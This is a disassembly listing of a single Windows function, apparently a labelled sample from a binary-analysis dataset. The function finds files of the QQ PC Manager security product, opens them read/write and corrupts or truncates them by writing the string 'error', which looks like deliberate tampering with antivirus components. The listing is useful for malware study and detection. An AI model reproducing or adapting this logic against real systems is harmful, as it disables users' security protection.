Function at 0x41e6d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
mov ebx, ecx
push 0
mov dword [ebp - 8], ebx
call fcn.004af30d
push eax
call fcn.004af27c
mov eax, dword [ebx + 0x24]
add esp, 8
mov edi, dword [eax]
cmp edi, eax
je 0x41e810
push esi
nop dword [eax + eax]
mov eax, dword [edi + 8]
lea ecx, [ebp - 0x14]
push ecx
mov ecx, eax
mov dword [ebp - 0x10], eax
call fcn.0041ce70
mov esi, dword [ebp - 0x14]
cmp dword [esi - 0xc], 0
jl 0x41e975
push str.QQPCRTP.exe
push esi
call fcn.004a7c3e
add esp, 8
test eax, eax
je 0x41e73a
sub eax, esi
sar eax, 1
jns 0x41e7ca
cmp dword [esi - 0xc], 0
jl 0x41e975
push str.QQPCMgr.exe
push esi
call fcn.004a7c3e
add esp, 8
test eax, eax
je 0x41e75c
sub eax, esi
sar eax, 1
jns 0x41e7ca
cmp dword [esi - 0xc], 0
jl 0x41e975
push str.QQPCMgr.rdb
push esi
call fcn.004a7c3e
add esp, 8
test eax, eax
je 0x41e77e
sub eax, esi
sar eax, 1
jns 0x41e7ca
cmp dword [esi - 0xc], 0
jl 0x41e975
push str.QQPCTray.exe
push esi
call fcn.004a7c3e
add esp, 8
test eax, eax
je 0x41e7a0
sub eax, esi
sar eax, 1
jns 0x41e7ca
cmp dword [esi - 0xc], 0
jl 0x41e975
push str.GF.dll
push esi
call fcn.004a7c3e
add esp, 8
test eax, eax
je 0x41e975
sub eax, esi
sar eax, 1
js 0x41e975
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x41e816
add esi, 0xfffffff0
or eax, eax
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x41e801
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov ebx, dword [ebp - 8]
mov edi, dword [edi]
cmp edi, dword [ebx + 0x24]
jne 0x41e700
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004af25b
and eax, reloc.WS2_32.dll_closesocket
jns 0x41e827
dec eax
or eax, 0xfffffffc
inc eax
jne 0x41e897
push 2
push 0
push 0xfffffffffffffffb
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 5
push str.error
push ebx
mov dword [ebp - 0x10], 5
mov dword [ebp - 0xc], str.error
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41e96b
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
add edx, dword [ebp - 4]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
je 0x41e96b
push 0
lea eax, [ebp - 4]
push eax
push ecx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x41e867
jmp 0x41e96b
cmp eax, 1
jne 0x41e909
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 5
push str.error
push ebx
mov dword [ebp - 0xc], 5
mov dword [ebp - 0x10], str.error
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41e96b
nop word [eax + eax]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
add edx, dword [ebp - 4]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
je 0x41e96b
push 0
lea eax, [ebp - 4]
push eax
push ecx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x41e8e0
jmp 0x41e96b
cmp eax, 2
jne 0x41e937
push eax
push 0
push 0xfffffffffffffff6
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push str.error
mov edx, 5
mov ecx, ebx
call fcn.0045b5e0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x41e96b
cmp eax, 3
jne 0x41e96b
push 2
push 0
push 0xfffffffffffffffb
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push str.error
mov edx, 5
mov ecx, ebx
call fcn.0045b5e0
mov eax, dword [ebp - 0x10]
add esp, 4
cmp dword [eax + 4], 0
jne 0x41e96b
mov eax, dword [eax + 0x20]
inc byte [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 8]
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x41e804
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x41e804